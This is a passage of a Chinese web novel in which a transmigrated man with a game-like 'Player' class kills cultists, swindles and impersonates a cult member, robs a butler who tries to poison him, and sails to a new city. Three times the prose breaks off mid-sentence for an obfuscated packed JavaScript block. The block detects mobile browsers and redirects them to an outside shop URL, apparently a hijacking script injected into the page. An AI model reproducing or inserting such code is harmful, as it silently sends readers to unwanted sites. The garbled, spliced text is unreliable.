下一刹,锁链狂舞,给人群制造出更多的伤口。抓住他们后退的空隙,他踉跄着冲向门口,用锁链捆住砖头,再次构筑。 【失忆石砖(存在时间:59秒):重击敌人的后脑,清空他们的记忆吧。每次敲击,清除一天记忆。】 普通的石砖染上一层光纹,在烛火照耀下流淌波动,神秘非凡。 季泠州快速扫过石砖介绍,对此效果微微点头。 相对而言符合预期。 几乎是转瞬之间,锁链卷着石砖,如怒龙狂舞,依次敲过每个人的后脑。 这次重点照顾了那个嚷着要给自己开膛的药剂师。 几个体质差的人当场昏过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182878|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了,剩下的人则迷茫地坐在地上,不知道自己为什么出现在了这里。 亚德里安则坐在地上,迷茫而困惑,盯着季泠州的脸看个不停。 这个人认识自己。 季泠州手脚麻利地脱掉身上的白袍,三下两下换上药剂师的衣服加斗篷。同时操控石砖敲击剩余清醒的人。 【失忆石砖】的体力消耗几乎是【活化锁链】的两倍,仅仅过了两三秒,就让他双眼发黑。 时间不够了。 季泠州的眼睛一阵阵模糊,几乎要一头跌倒。 他咬咬牙,弯腰拾起把银刀,在胳膊上割出一道血口。 “嘶”地吸了口冷气,疼痛让他浑身一颤,朦胧的意识再次清醒。 季泠州拖着几乎挪不动的腿,走到药剂师身边。 一把拉下斗篷。 他有一张和周围教徒差不多的面孔,只是肤色有种大理石般的冷白。像是被某种力量摄住了,季泠州眼转也不转地盯着他。 药剂师则报以憎恶的目光。 一阵剧烈的、完全不属于季泠州的哀伤与心悸攫住了心脏,让他的手不由自主地颤抖起来。 是这具身体残留的本能。 片刻迟疑,一道银光自药剂师手中射出,径直瞄准季泠州的心口。 电光火石间,【活化锁链】将刀磕飞。 季泠州如梦初醒,下意识操控锁链缠住药剂师的脖子。 清脆的颈骨碎裂声响起。 他被勒得喘不上气,嗓子里溢出支离破碎的声音,如同濒死嘶吼的野兽:“…为什么?” 季泠州很无语。 “没有为什么,你失败了。”他用平静的语气陈述道。 药剂师口鼻溢出粉红色的血沫,眼睁得大大的,满是不可置信,嗓子里挤出几不可查的声音:“哥哥……这就是你要给我的结局吗?” 季泠州并没有听到。 他这会正扶着祭台,跌跌撞撞地朝亚德里安的方向去,准备送他上路。 最后瞥了一眼这个双眼紧闭、眉眼中透着愁苦的男人。 季泠州并拢食指和中指,在额头前做了个“抱歉”的手势,同时手腕稳稳地将银刀插入亚德里安的脖颈,划开。 他大半个脖子被刀刃割断,鲜血喷涌而出,破碎的气管冒出一连串气泡,躯体无意识地抽搐了几下,便进入了永久的安宁。 季泠州浑身一松,向后跌坐,昏迷的人和失去气息的尸体,横七竖八倒在周围。 忽然觉得自己很像超市生鲜柜台上的鱼,和同类整齐地摆在一起。 指头松开,沾满鲜血的银刀跌落在地。 半日前,自己还是个遵纪守法的社畜。来到这个世界,短短片刻,就已无师自通,能熟练杀人灭口了。 生活还真是充满惊喜与意外呀! 眼前的烛光逐渐模糊、黯淡下去,季泠州最后巡视了一下,确定没什么漏洞。 “只能做到这里了……”剩下的,交给命运吧。 体力与精神的透支已至极限,他眼前一黑,失去了意识。 紧接着,【失忆石砖】和【活化锁链】时限到了,飞速消散在空气里。 黑暗中一片寂静,只余烛火安静地燃烧着。 忽然,药剂师惨白僵硬的脸上,墨色般的气雾从七窍渗出,凝成具半透明的人形。 那人影眉眼生得极好,和季泠州长得有七八分相似。看起来安静无害,甚至带着几分少年气。 人影蹲在季泠州身侧,迟疑地伸出手,比划着放在了他的脖颈上。 “哥哥。 “你怎么能忘了我?” 半透明的指头扣紧,昏迷中的季泠州喘不上气,眉心痛苦地皱起来。 “我会带你回家,永远留在我身边。” 人影霍地松开手,看着掌心下的人大口喘气,低低笑出声。 笑声中,墨色消散。 不远处,药剂师的尸体瞬间腐朽成灰,像是经历了千百年般,原地只留下一件脏兮兮的白袍。 4. 物是人主 月光透过狭长的落地窗,洒在地上。 季泠州躺在床上,歪着头看月亮 许久后,他怅然若失地叹了口气,强撑着从床上爬了起来。 自己赌对了,失忆的黑暗丰穰教徒拿不准自己的身份,只好先找个地方安置起来。 只是,一时的欺骗终究无法长远。 这具身体稍一活动就要休息很久,得找个稳妥的法子离开这里。 季泠州扶着床柱走到窗边,眺望远处,外面一片黑暗,勉强能看到树林的轮廓。 暂时没有了生命危险,茫然如潮水一般涌上心头。 自己养的狗怎么办?千万不要饿死了。自己该如何在这个世界活下去? 或许该望着月亮,说点什么体面的话。比如,“隔世界兮共明月”之类。 这世界的月亮比地球大许多。若说地球的月亮是胡饼,这里的月则是磨盘大的烤馕。 重叠的云层边缘,明月俏皮地冲他眨了眨眼睛。 季泠州思绪很乱,勉强回了个礼貌的笑,继续神游天外。 半晌后,他悚然一惊,刚才发生了什么?他再次望向明月,伴着一声意味难明的轻笑,记忆里悄然浮出一幕画面。 风雨交加的夜里,干瘪枯瘦的老妇人站在草地上,目光冷漠。两个男人抬着具尸体,熟练地往坑里一丢。 闪电划过天际,照亮尸体惨白的脸,正是季泠州的脸。 他们在老妇人的指挥下,往坑里填土浇水,捎带还种了丛花。 三人撑着伞离开。 原地只剩下新种的月季,未绽放的花苞在狂风骤雨下吹落在地,化为泥土。 季泠州使劲摇了摇头。 只见月光如水,周围一片静谧,刚才所见仿佛只是个梦。 “先生。” 门外传来轻轻的敲门声,“请问您醒着吗?” 说话的是道温柔的女声,她继续说:“请容我进来。” 季泠州匆忙躺回床上,回答:“我醒着,请进来吧。” 门被推开,一个穿着女仆罩裙的小姑娘走了进来,手上端着个托盘。 她悄悄抬起眼,好奇地瞥了季泠州一眼,又像受惊的兔子般垂下视线,耳尖发红,手指无意识地捻着围裙边缘冒出的一根线头。 “先生,夫人吩咐我为您送来晚餐。她稍后会亲自来看您。”托盘上,摆着一盘炸鱼配土豆泥、蔬菜汤并一小堆干巴面包。 季泠州对食物的要求并不高,但这盘食物依旧让他沮丧。 好在此刻,味道并不是最重要的事情。他盯着托盘,一行小字缓慢浮现出来: 【潦草的晚饭:食用后,能恢复大量饱食度和体力,少量降低精神值(二战在几十年前就结束了,你在吃什么!)。】 他再次验证了自己的猜想:“鉴定”所产生的信息基于自身认知。据自己了解,这个世界没有被称为“二战”的战争。 眼睛一阵刺痛,视线瞬间模糊起来,这鉴别能力消耗极大。他闭上眼睛,缓了好一会,才能再次看清周围。 他拿起刀叉,以极不熟练的姿势切下一块鱼肉,放进嘴里。 海鱼的腥味被裹在厚重的油脂里,他屏住呼吸将食物吞下后,发誓绝不能再碰鱼肉一口。 小姑娘站在一旁,不住打量季泠州,频繁的动作很快吸引了他的注视。 “抱歉,先生,这是我第一次见到东陆人。”她不好意思地解释。 “东陆人?”这是个全新的字眼。 “是的。”她小声道,“东陆人极少踏足旧大陆。传闻中,他们冷酷而危险……我没想到,还有您这样温和的东陆人。” “珍妮。”门外的声音低沉,“你在与客人谈论什么?” 一个穿华丽丝绸长裙的老妇人站在门口,盯着女仆珍妮。 “卡尔森夫人,对不起。”珍妮弯腰道歉,在老妇人严肃的目光中,跌跌撞撞地跑了。 季泠州浑身紧绷,是她,幻梦里的老妇人。 更重要的是,她周身缭绕着一层朦胧的黄光,和周围一切格格不入,仿佛在另一个图层。 这是什么?季泠州一头雾水。 她的腿脚似乎不利索,一瘸一拐地走过来,坐在季泠州床头。 “孩子。”她叹息道,“我本该更早来看望你。”卡尔森夫人掏出手帕,用力按了按干燥的眼角。 她的声音,让季泠州觉得似曾相识。 窗外,云层遮住了月亮。 起风了,闪电划过天际,一瞬间将屋里照得雪亮。 就是今晚! 一个声音在季泠州脑子大喊:今晚她就会杀了你,埋进花园! “前提是应对不当的话。”他心中补了一句。 【玩家】职业最有用的“修改器”,目前每天只能用两次,此刻没到时间,意识海里的星辰黯淡沉寂。 他能依仗的,只有“鉴定”。 “难怪。”他淡淡道,“连一次微不足道的献祭,你们都无法完成。” “难怪你们连一次小小的献祭仪式,也会失败。”闪电亮起的那刻,他终于想起来了,自己曾在仪式上听到过她的声音。 确定来人的身份,接下来就好办了,无非是“一敲二诈三盘查,四蒙五哄六夸大。七看八算九附和,十句虚言半句真。” 对于一个经受过互联网洗礼的现代人,多少有点基础。 卡尔森夫人面容未动,眼底掠过一丝惊疑,枯瘦的手指轻轻摩挲着手帕边缘。 “大人……”她迟疑着开口,“您是?” “亚德里安,没有和你们说吗?”他慢条斯理地叉起干面包,泡在汤里,硬度足以当武器的食物逐渐变软。 他轻轻咬了一口,舌尖却尝不出任何味道,只觉得心跳如擂鼓,握叉的指尖微微发冷。 第一次当面行骗,果然没那么容易。 “没有。”卡尔森夫人略一沉吟,肩膀微微放松,脸上堆起谨慎的敬意,“您莫非是总部派来的大人?” 季泠州倏地抬头盯着她的眼睛,像是被惹怒了,实则他的心都提起来了。 卡尔森夫人的话明显是试探,她想知道自己到底知道多少。 一旦说错话,就会暴露自己,然后喜提专属于自己的坑。 他在脑中飞速编织着身份——与亚德里安交易祭品的神秘人,神秘、心狠手辣、贪婪。 所有人都知道他的存在,又都不了解。另外,他还知道卡尔森夫人最渴望的东西。 在脑海里最后梳理了一次,他缓缓开口: “不久前,有个叫亚德里安的人找到我。他说,需要一位灵性充盈、又无牵无挂的祭品。 “恰好,我手中有合适的人选,交易进行得很顺利。 “昨夜,他再次来访。 “他说,那祭品误服了过量的安宁药剂,恳求我出手。 “哈哈哈哈,这世上,总有些人不堪大用。他们的愚行,只会白白浪费时间。对那些时间所剩无几的人来说,更是不可饶恕。” 季泠州简述了昨晚发生的事,话中饱含深意。 一时间,房间内陷入寂静,只能听到极远处传来的汽笛声。 许久后,卡尔森夫人明显被打动了,她枯干的手紧紧攥着手帕,向前探身:“你有补救的方法?” “上一次的品质,万中无一。价格是一百八十枚金镑。这一次时间仓促,只能提供次一等的。一百二十枚金镑,最迟后天送到。”季泠州淡淡道。 “该死!亚德里安那个贪婪的鬣狗,竟然私吞了二十金镑。”卡尔森夫人心里尖叫,都是我的钱呀! “这价格……太高了。”她急切砍价,“是否还能商量?” “不行,那毕竟是稀有的超凡者。”看到卡尔森夫人的态度从怀疑转为愤怒、再到对金钱的心疼,季泠州松了口气。 “您该不会以为,这种逆转时间的奇迹,是用几个铜板就能换来的廉价货吧?”他反问一句。 “好,我需要与其他人商议,明日给你答复。”她神不守舍的站起身,还被床脚绊了一下。 季泠州眼疾手快,一把搀住她。 就在卡尔森夫人答应的那刻,她身上的黄光忽然闪了几下,化作淡淡的绿色,接着消失不见。 季泠州瞬间明白,这是“鉴定”的另一种效果。其原理大概和游戏里的好感度差不多,红色通常代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182879|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仇视,黄色是中立,绿色则是友好。 【玩家】职业,果然有趣。 “小心,夫人。”作为穿越者,他的冒险精神远超原住民,本着“无论如何也要试一试”的心态,又补充道: “无论结果如何,都需先支付三分之一的订金,这是对我时间的补偿。” “好,我一会给你送来。” 卡尔森夫人提起裙摆,姿态恭敬地行了一礼,转身时嘴角却微微下撇,眼中毫无笑意。 …… 房间再次归于寂静。 季泠州摊开手,掌心静静躺着一枚蓝宝石胸针,是他刚才从卡尔森夫人身上顺来的。 在确定【玩家】职业的特性后,原先只是想借交易的借口,敲一笔定金跑路,现在他觉得自己的计划不妨更大胆一些。 玩家最喜欢做什么? 进入所有能进的房间翻找,带走一切能带走的东西。 他拉过冰冷的晚饭,继续吃起来。 想干大事,没有足够的体力可不行。 …… 十二点的钟声响起。 珍妮打着哈欠进来,将玻璃瓶轻轻搁在床头柜上,声音带着闷闷的倦意: “先生,这是洋甘菊精油,或许能让您睡得安稳些。”说话间,她身上的绿光里冒出一大块黄色。 显然,深夜被季泠州摇铃吵醒,从被窝里爬起来递送物品,让女仆小姐本就不高的好感度大降。 “谢谢你,珍妮小姐。您的善良不逊色于您的美貌。”漂亮话说出口,中立的黄色迅速消失。 她微微一笑,转身离开。 季泠州听着她的脚步声走远,握紧瓶子心中默念:“我需要一个能让人快速失去意识的物品,它对我不生效。” 微光闪烁,玻璃瓶化作一块机械表。 【沉睡手表(使用次数15):瞄准,射击!剩下的,不用我多说了吧。如果你想拥有婴儿般的睡眠,也可以瞄准自己发射。】 他目瞪口呆。 本以为会得到一杯昏睡红茶或是昏迷药剂之类的东西,没想到…… 之前无聊时,他还曾分析过构筑物转化的逻辑,看到这块表,彻底说不出话来了。 我是谁?从哪里来?到哪里去? 人生的三大疑问,他已经能回答第一个了。 我是季·穿越者·高仿死神小学生·泠州。 …… 书房里,卡尔森夫人打开匣子,数出四十枚金帆,用指尖摩挲了一会儿,依依不舍的递给管家。 “把这些,送去给我们的客人。” 管家正要转身离开,卡尔森夫人突然叫住了他,命令道:“再替我办件事,让让花匠在花园西南角,挖个坑。” 她回忆着季泠州的身高,补了一句:“长一点,比你要高一个头。” 管家会意:“夫人,花匠告假了。他的小女儿正在生产,需要一周时间。” “不必了。”卡尔森夫人摆摆手,“那就由你带两个人去挖。记得,隐秘些。” 她想了想,从匣子里抽出一个金帆交给管家, “拿去给花匠。” 管家躬身赞美:“夫人,您的仁慈令我敬佩。” 卡尔森夫人不在意地摇摇头。 “继续盯好我们的客人。”她并未放下对季泠州的警惕。 很明显,故事里那些穿越者光凭一张嘴就能把本地人耍得团团转的情节,纯属虚构。 两个男仆在房间外看守季泠州。 说来也巧,他俩也是季泠州的老熟人了,正是幻象里的挖坑二人组。 两人身上都冒着黄光,硬拼显然不敌,唯有智取。 他握住从卡尔森夫人身上顺来的胸针,按着设想好的方向构筑。 下一秒,蓝宝石更加璀璨漂亮。 【物是人主(使用次数3):这是卡尔森夫人最喜欢的饰品,陪伴了她大半辈子。现在,它是你的了,四舍五入等于你就是卡尔森夫人了。】 预料之内。 季泠州穿好衣服,然后将胸针端正地别在衬衣上,拿外套盖住后,轻轻推开房间门。 属于夜晚的冒险,就此开始。 5. 被迫成为“美强惨” 卧室门左边站着个高瘦男仆,一把伸手拦住季泠州: “夜里镇上不太安全,请客人安心休息。” 瘦高个紧接着说道:“若有需要,我们可以帮您叫女仆来。” 瘦高个牢记卡尔森夫人的嘱托,守在房间门口,绝不能离开半步。 季泠州唇角微扬,目光转向门右侧的矮胖男仆,语气温和却不容置疑: “屋里的呼叫铃似乎坏了。劳烦你去找珍妮,替我送些水来。” 大脑袋望向自己的同伴,瘦高个点点头。 大脑袋朝楼梯的方向走去,仆人房通常设在地下室。 调虎离山,成功! 季泠州转向瘦高个,手指轻轻掠过外套领口。昏暗光线下,蓝宝石胸针泛起一层幽冷的微光。 瘦高个看到这件熟悉的珠宝,眼神迷茫而困惑,随后又转为恭敬。 他躬身道:“卡尔森夫人,您怎么在这,有什么吩咐?” 季泠州:“我刚才给客人送水。这里怎么只剩你一个?” “汤姆去叫珍妮了。” “你们的任务是看好客人,不是没头脑的跑来跑去。快,把他找回来。小声些,别惊动人。” 瘦高个二话不说,大步朝大脑袋跑去,季泠州紧紧跟在后面,找准机会抬腕一按。 “咻”地一声,大脑袋软软倒地。 瘦高个瘫软在地的同伴,愣在了原地。 “我真是花钱养了一堆废物。” 季泠州呵斥一声,“带他去客人房间门口,然后叫醒他。我要你们眼也不眨地看住那。” 瘦高个被骂得慌了神,无暇细想其中不对劲的地方。架起自己的同伴,匆匆往楼上走。 季泠州心想,被支开的棋子最好放回原位,这样才不容易引人怀疑。 季泠州站在空荡荡的走廊里,舒了口气,计划完成了一半。 接下来,就是…… 他专注地目光扫过走廊,【空客卧】、【杂物间】、【书房】、【管家房】。 找到了! 季泠州敲响了这道门。 头发花白的管家颤颤巍巍走出来,看到季泠州的脸,神色大惊。 “你……?”没等他把话说完,季泠州立刻掀起了外套。 管家的神色变得和瘦高个一样迷茫。 “夫人,您怎么亲自来了?”他急切地问,“是那边出事了吗?”他指着楼上季泠州房间的方向。 季泠州环顾四周,压低声音说道:“我有要紧的事,要单独与你说。” 管家会意,侧开身子邀请他进去。 房间里,季泠州满脸严肃和管家说:“我们暴露了。” 管家大惊失色:“被异对司知道了?” 季泠州虽然不知道异对司是什么,但听名字,猜测大概是某个负责处理邪教活动的机构。 季泠州垂下眼帘,故作沉重地轻叹一声,沉默不语。 “夫人,我们必须立刻离开。明早有去洛萨兰合众国的船,现在出发还来得及,我去买两张船票。” “可是,我的财产怎么办?”他装作犹豫道。 实际上,这正合他意。 对于没有原身记忆的穿越者而言,想要开启新人生,还有什么比跑路到另一块大陆更合适的选择呢? “夫人,现在不是考虑财产的时候了! “我听说,异对司有一件奇物,能将神的信徒转化为异常物,过程十分痛苦。 “更可怕的是,你我将再也无法回归神国。” 管家用极快的语速说出一长串话。 季泠州配合地咬咬牙,下定决心说:“立刻收拾能带走的东西,去码头。” 管家眼中闪过狡黠,接着提议:“夫人,我认识黑街的隼老大,他愿意提供房产借贷。” 季泠州几乎要笑出声来:“好。听你的,快去做。” 两个小时后,管家亲自驾驶马车,载着季泠州离开庄园,朝离镇子最近的港口盐风港驶去。 时间和预想的一样宽裕,季泠州甚至抽时间修剪了原主那碍事的头发,现在干净利索多了。 车厢很宽敞。 他换了个舒服的姿势,挪了挪身旁的手提箱,然后推开车窗向外观察。 这个世界的发展程度,似乎介于工业革命前后。 马车路过镇中心广场时,他看到了电力供能的路灯和几辆造型笨重的老爷车。 但是从路上臭烘烘的马粪看来,科技的火光似乎还没有照亮大部分人,马车依旧是交通主力。 这是季泠州第一次乘坐这种古老颠簸的交通工具。 “噢,莲娜,我的女神。”管家忽然开口。 季泠州:“……” “自从您踏入庄园的那一刻起,您的身影就烙印在了我卑微的灵魂上。 “我曾向神发誓,愿献上余生,只为做您最忠诚的骑士。” 怎么就进入感情支线了? 季泠州手足无措,觉得自己要汗流浃背了。 此刻,马车驶过旷野,四下空无一人,距离码头还有很远的距离。 得找个办法稳住管家。 若是卡尔森夫人,该如何说?季泠州思索。 “可我现在只是卡尔森夫人,不是当年那个青春年少的小姑娘莲娜,我们都老了。 “你看,我的腿一到雨天就会疼痛难忍。” 季泠州用惆怅的语气说,尽量让话语饱含深情。 管家声音发颤,近乎呓语:“莲娜,这些我都不在乎。如今只有我陪在你身边,请你原谅,我实在难以压制内心的感情……” 他声音因激动而哽咽,转身握住了季泠州的手腕。 管家粗糙的掌心满是汗水,手腕就像被深海生物用触须缠住,黏腻而窒息。 一瞬间,季泠州全身鸡皮疙瘩都起来了。 他用眼角余光看到,前方即将拐弯,而路的一侧是陡峭的山崖。 而马车的驾驶者,正深情款款地望着自己。 啊!要死了,驾车不看路,亲人两行泪! 季泠州强行压下不适,转移话题: “异对司要来了,我慌张到无法思考。等我们安全了,再讨论这些。” 管家肩膀一塌,颓然低下头。 在他看来,这是一种委婉的拒绝。 路的另一侧,一列骑马的黑衣人疾驰而过。 带头的领队听到两人的只言片语后,大感震撼。 她碰到了什么? 一个皱纹深到能夹死苍蝇的干瘪老头,和年龄足以当他孙子的青年,两人拉着手互诉衷肠。 一个疯狂的世界! 她用力摇了摇头,将脑海里联想出的奇怪画面甩掉。 …… 马车里。 季泠州的每一分钟都很煎熬。 管家大胆求爱被婉拒后,整个人都失魂落魄。一个小时就问了自己五次“夫人,您喝水吗?” 每次都被季泠州以“别管我,先抓紧时间去港口,一切等上船再说”为由推脱。 待到天明,海岸线和熙熙攘攘的码头已映入眼帘,而他早已疲惫得一个字也不想说。 管家驾车的技术很熟练,他寻了个离码头近的地方,将马车停好。 “夫人,喝点茶吧。”管家殷切地又一次递来杯子,“登船需要在太阳下排队很久。” 季泠州眯起眼睛。 这家伙求爱被拒后,反复劝自己喝水,实在是太过反常了。 他接过杯子握在掌心,凝神细看,一行小字浮出。 【掺砒霜的茶:得不到的爱人,不是爱人。】 啊这!老人家的“爱情”,如此激烈吗?季泠州心中无奈。 径直抬起手腕,给管家来了一针。 管家“咚”的一声,大头朝下栽倒在地上。 一个合格的【玩家】最重要的特质是什么?——击倒敌人后,接管他的财产。 简称“舔包”。 季泠州季泠州熟练地打开管家寒酸的行李包。 里面有一袋沉甸甸的钱币、七八件闪烁的宝石首饰,以及一张印有奥伦特鹰徽的一千五百金镑不记名存单。 他瞥了眼属于“卡尔森夫人”的那个精致手提箱,里面仅装着抵押庄园换来的五百金镑和一沓衣服。 原来,这就是“一生挚爱”的价格。 季泠州耸了耸肩,果断将全部值钱东西揣进自己兜里,然后合上箱子放回原处。 想必,管家再打开它时,脸色一定会很精彩。 他将那些精致华丽的长裙卷成一团,绑在石头上,统统丢进了海里。 最后望了一眼马车窗和里面的管家,他脚步轻快地朝码头走去。 几秒钟后,季泠州倒退回来,用不可置信的目光盯着车窗玻璃。 只见倒影里,是张很符合人类审美的脸。 穿越几天来,他每次看到这张脸,都会心情愉悦。 但这不是重点。 倒影里的头上,赫然有一行字——“美强惨”。 宋体字,紫色,居中对齐,深色描边。 他下意识地晃了晃头,那行字竟也随着他的动作晃动。 见鬼! 他盯着那行晃动的字,嘴角微抽。 【玩家称号:美强惨】 【介绍:你拥有与生俱来的颜值、出道便杀死神祇(投影)的辉煌战绩。 就在刚才,你痛失有四十年管家从业经验的爱人。 ps:在另一块大陆,还生活着日思夜想,亟待将你挫骨扬灰的挚爱亲朋。 综上所述,没有人比你更适合这个称号了。】 【作用:当你做出符合称号属性的行为时,更容易获得他人好感,并提供一定加持。】 【注:一个合格的玩家,理应拥有许多称号。比如“骆驼猎手”、“咸鱼”、“分手大师”、“服务器第一!死亡之翼的终结者”……】 竟然还能触发称号,这让季泠州在大感意外的同时,又觉得似乎有些理所当然。 可是,对“惨”的定义是不是有点过于草率了? 自己不过是借用了卡尔森夫人的身份,恐怕连她本人都不知道还有管家这么一位“爱人”。 一时间,季泠州想要吐槽,却无话可说,只是徒劳地长叹一声。 他不知道自己是该高兴,庆祝自己构筑的异常物这瞒天过海的能力。 还是该难过,担忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182880|196972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己超凡职业的抽象程度远超自己想象。 远处,登船的人逐渐稀疏,顾不得探索新称号,他大步朝码头跑去。 …… 与此同时,路上遇到的那队黑衣人抵达了自己的目的地。 永望镇。 带队的夜莺勒住马,挥挥手,身后的的执行官如潮水般冲进城镇。 他们神色冷峻,穿着一样的长风衣,脊背挺直,腰间鼓鼓囊囊的,似乎塞满了武器。 夜莺神色凝重。 就在两天前,总部发出红色预警,监控到永望镇产生高等强度的神力波动。 昨晚,再次检查到同等强度的神力波动。 要知道,上次红色预警发生在三年前,奥伦特南部一座小镇。 等第一批执行官赶到时,整座小镇都化作血肉地狱。 所有居民在活着的情况下,长在了一起。 居民的头颅、四肢被随意拼接,纠缠成几十米高的肉山,每张嘴都张得大大的,发出绝望哀嚎。 夜莺掏出个指南针一样的仪器,只见指针乱转,一会指向郊外,一会指向幢庄园。 两处神力源?不能掉以轻心。 …… 盐风港。 荆棘花号登船的长梯上,季泠州并不知道永望镇发生的一切。 疲惫感如潮水般涌来,他此刻只想休息。 不得不说,这具身体真是差的要命。 大抵在黑暗丰穰神国透支了太多的生命力,又通宵熬夜,现在的他很是虚弱。 季泠州很不习惯。 放在前世,他体能极好,即便提着竹竿当手杖,也能气不喘、汗不流地爬上泰山,第二天还有余力挑战峨眉山。 如今,他只能放下箱子,整个人靠在栏杆上,胸口剧烈起伏,像死狗一样大口喘气。 身后的老者看到,语重心长道:“年轻人要多锻炼呀!”说完,一把提起了箱子。 “嗬!你带了什么,这么重!”老者掂了掂箱子,评价道。 季泠州礼貌微笑:“一些家传的老物件舍不得丢掉,只好随身携带。” “哦。”老者穿着身白色正装,在非黑即灰的人群中如鹤立鸡群,很是显眼。 这是奥伦特服饰,类似地球上的西装,其标志是在领口别一枚名为“珂兰”的胸针,寓意“守护心智”。 珂兰的地位等同于地球的领带。 季泠州从老者领口那大到夸张的宝石上扫过,再次判定:这是个有身份的人。 周围许多人和他一样,都在欣赏这枚宝石。 一个绝妙的想法涌上心头。 他用悲痛欲绝的语气高声说道,确保周围人都能听见: “我的父亲曾是海商,在洛萨兰失踪。我的爱人和一个外乡人走了,而那些贪婪如秃鹫的叔伯,夺走了我们最后的栖身之所!” “母亲忧惧成疾,很快去世。” “我卖尽家产,只身远行,寻找父亲的下落。” 周围人听到如此凄惨曲折的经历,纷纷投来同情的目光。 顿时,季泠州身体里凭空多了一股力量,腿也不酸了,腰也不困了,一口气可以上五楼。 老者被他抽风一样的举动吓了一跳。 感受到四面八方而来的目光后,更是尴尬地垂下头,窘迫得无地自容。 “老夫叫高表仁,小友不必客气。”他用极快的语速说。 但此刻二人正吸引着全场的目光,很快有人倒吸一口凉气:“您该不会是出使奥伦特帝国的东陆正使,高表仁大人吧?” 老者抬起头,让大家看清自己的脸,正色道:“正是老夫。” “传闻你主持签订了《卡尔斯条约》,奥伦特帝国将对东陆开放盐风、泰罗索斯、冷水等八座城市作为通商口岸,并送西奥多拉公主往东陆联姻,是真的吗?” 老者摆摆手,没有回答。 他此行前往新大陆,是为了享受海风、阳光、沙滩和美酒,政治什么的,烦人! 人群则一片哗然,许多人愤怒地叫骂起来。 “那可是奥伦特的明珠,西奥多拉公主呀!” “该死的叛国贼,出卖国家!” “奥伦特家族都是些废物渣滓。” “杀了这个东陆杂种!为前线的勇士报仇。” 奥伦特是旧世界的老牌强国,控制的公国、自治领无数,向来是征伐他国,哪有挨打受气的一天。 更多的人,则是露出畏惧神色,默默后退离开。 东陆使节在全世界都赫赫有名,他们个个都是作死艺术家,经常主动寻死,为自己的国家提供开战理由。 两百年前席卷世界的七神战争,导火索就是东陆使节被杀。 如今这个所谓的使节,放着自家的船不坐,来挤一艘客轮,明显不怀好意呀! 甲板上乱成一团,已无人注意站在人群边缘的季泠州。 他微微一笑。 这位好心的老先生衣着得如此醒目,想必有意暴露身份。 自己配合着演了这么一出,想来他十分满意,作为谢礼再合适不过了。 汽笛长鸣,荆棘花号缓缓离岸。季泠州倚在船舷,最后望了一眼永望镇的方向。 6. 涅伽拉德 涅伽拉德。 洛萨兰首都,新大陆西海岸最大的港口城市,又被称为千帆之城。 近日,受季风影响,这座滨海之城迎来了连绵的降雨。 无论是空气还是行人,都湿漉漉的。 季泠州撑着把黑伞,站在街边,聚精会神地听旁边的矮个男人讲解。 “季先生,这是今天看的最后一间。位于贝克街14号,月租金只需要……” 房屋中介豪斯看着手里的工作簿,滔滔不绝地介绍。 洛萨兰主要流通三种货币单位:金帆、佛尔和生丁,后两者又称为银佛尔和铜生丁。 一金帆等于二十佛尔,一佛尔等于一百生丁。 金帆由纯金铸就,并镶嵌有空塔特制的紫水晶,寓意着洛萨兰是由航海家和超凡者共同创建的国家。 “房屋临街,方便雇佣公共马车。只要向市政厅报备,就可以改做商铺。” 豪斯很少会如此详细地介绍房屋情况,除非遇到特别顺眼的主顾,就像今天这位彬彬有礼、看一眼就让人心生好感的年轻人。 “很好,麻烦你带我看一看。”季泠州说道。 中介豪斯麻利地拉开深胡桃木大门,邀请他进门。 这是栋装修温馨的房子。 一楼是客厅、餐厅和厨房,清一色的深色家具,地上铺着褪色的暗红地毯,上面盖了一层厚厚的灰尘。 透过泛黄的纱帘和高落地窗,能看到街上穿梭的人潮。 顺着吱呀作响的楼梯来到二楼,这里有四间光线明亮的卧室,附带两个盥洗室。 三楼布局和二楼差不多,层高只有正常楼层的一半,且采光不好,算是阁楼。 无论是价格还是配置,都很符合预期。 季泠州伸手抹了一把家具上的灰,问:“这间房子很好,为什么会空置这么久?” 说话间,他的目光转向客厅,那里的墙壁上贴满了深蓝色的碎花墙纸,看起来很新,和整间屋子格格不入。 豪斯愣住了,不好意思地笑了:“抱歉,有些情况我方才忘了提。这间房原本住着阿兰夫人一家。半年前煤气泄露,她的儿子、儿媳,还有一对孙女……都没能活下来。” “你放心,煤气公司已经全屋更换检查过煤气管道,确保安全。” “真是个悲剧,阿兰夫人是如何活下来的?” “她那时候恰巧去乡下探望堂姐,真是好运气。” 好运气吗?未必。 季泠州眨眨眼,发动“鉴定”。 只见视野里,客厅壁纸闪闪发光,像极解谜游戏界面里,系统提示的重点位置。 